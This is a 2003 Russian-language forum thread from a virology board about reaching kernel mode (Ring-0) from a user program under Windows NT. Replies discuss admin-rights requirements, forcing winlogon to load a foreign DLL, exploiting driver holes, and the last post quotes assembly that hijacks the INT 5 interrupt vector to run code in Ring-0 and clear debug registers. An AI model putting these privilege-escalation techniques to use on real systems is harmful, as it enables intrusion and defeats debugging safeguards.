· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.VIROLOGY —› Можно ли попасть в Ring-0 из Ring-3 под NT ?

Посл.отвђт Сообщенiе


Дата: Апр 29, 2003 15:24:59

Помогите пожалуйста с вопросом !!!
Меня очень инетересует, можно ли попасть в нулевое кольцо из пользовательского приложения ???
В частности, меня интересует, реально ли это под NT 5.0 (5.1) ???
Если это возможно, то укажите пример или дайте ссылку, где это можно посмотреть !!!!
Заранее спасибо !!!


Дата: Апр 29, 2003 17:01:31

Ты хочеш выполнить привелигированную инструкцию, которой нужен ринг 0 ?
Тогда тебе нужно написать драйвер....


Дата: Апр 29, 2003 17:34:08

Нет !
Я это и сам понимаю ....
Для выполнения привелигированой инструкции нужен драйвер (так как он выполняется в ring-0 соответственно), для запуска драйвера нужен менеджер (или что-то, связанное с SCM), ну и в конечном итоге .... нужны админские права, чтобы запустить драйвер !!!
Нет всей этой хрени !!!
Просто я пытаюсь выяснить, можно ли попасть в ринг-0 ... потому как далее уже будет не важно, привилигированная инструкция или нет .... Далее - будет смерть.


Дата: Май 7, 2003 14:10:38

Меня тоже в своё время интересовал этот вопрос... но как это сделать без админских прав, я не выкопал (ни ручками под отладкой, ни из литературы). Админские права нужны полюбому. Тогда можно открыть специфический обьект, который даёт доступ ко всей памяти, пропадчить LDT -- и флаг тебе в руки, ветер в спину, movsb в ...

Счас я эпизодически работаю над проблемой получения этих самых прав "автоматом", т.е. без предварительного исследования системы/софта отладчиком (которое необходимо при атаках на переполнение стека и WM_TIMER атаки). Есть некоторые подвижки, но пока слабые. В частности мне удалось заставить (при некоторых условиях, которые, впрочем, почти всегда выполняются) winlogon подгрузить к себе в адресное пространство мою DLL-ку, но она некорректно инициализируется, поэтому не получает прав "подгружающего" процесса (т.е. winlogon'а). Короче, работаю...


Дата: Май 17, 2003 02:33:15

Можно использовать дырки в драйверах. Например всем известный драйвер электронного ключа HASP имеет такую дырку. Даже более того, специальный сервис R3->R0.

;-)


Дата: Июл 13, 2003 04:38:42

Эта тема довольно интересная.
Сейчас пишу программу физического доступа к диску,
но гружу ее как драйвер, а хотелось бы иначе...
Если что получится пиши profi_200@tut.by


Дата: Ноя 18, 2003 13:38:05

А как на счет такого кода от
Kick10 (http://betov.free.fr/UsersDemos.html)? Код из Чиха.
У меня нет достаточно опыта, чтобы его полностью понять.
Может быть кто-то объяснит? Пожалуйста!

---- Ring0.inc ----
include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib

.Data
Msg db 'All debug regs have been reset to zero',0
Capt db 'Here we are >:)',0

------Ring0.asm-----------------
.586
.model flat,stdcall
option casemap:none

include Ring0.inc

.code
start:
push ebp
; First save all nessesary startup values
; to restore them after Ring0 code finishes
lea eax,[esp-8]
xor ebx,ebx
assume fs:nothing
xchg fs:[ebx],eax
call @F
@@:
pop ebx
lea ecx,StopToRun[ebx]
sub ecx,@B

push ecx
push eax
push eax

; Load IDT to get the old INT 5 vector
sidt qword ptr [esp-2]
pop ebx ;ebx now points to the start of IDT

add ebx,44 ;ebx= 05h*08h+04h ZF = 0, calculating INT 5 vector

cli

mov ebp,[ebx] ; Get exception base
mov bp,[ebx-4] ; and entry point
; EBP will hold the original INT 5 vector

lea esi,ExceptionHook ; our new exception handler's offset in ESI

push esi

mov [ebx-4],si ; Set the new vector
shr esi,10h ; Modify Exception
mov [ebx+2],si ; Entry Point offset

pop esi
int 5 ; Generate exception to switch to Ring0

ReadyRestoreSE:
; Restore everything and proceed to Ring3 code
sti
xor ebx,ebx
jmp RestoreSE

StopToRun:
; If exception error will occur - here is the handler for it
xor ebx,ebx
mov eax,fs:[ebx]
mov esp,[eax]

RestoreSE:
pop fs:[ebx]
pop eax
pop ebp

; Here your Ring3 code starts
invoke MessageBox,NULL,offset Msg,offset Capt,MB_OK

invoke ExitProcess,NULL

ExceptionHook:
; Here your Ring0 code starts

xor eax,eax ; Set DR[0-3] registers to zero
mov DR0,eax
mov DR1,eax
mov DR2,eax
mov DR3,eax

mov [ebx-4],bp ; Restore the old INT 5 vector
shr ebp,10h
mov [ebx+2],bp

iretd ; And return back to Ring3
end start


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.042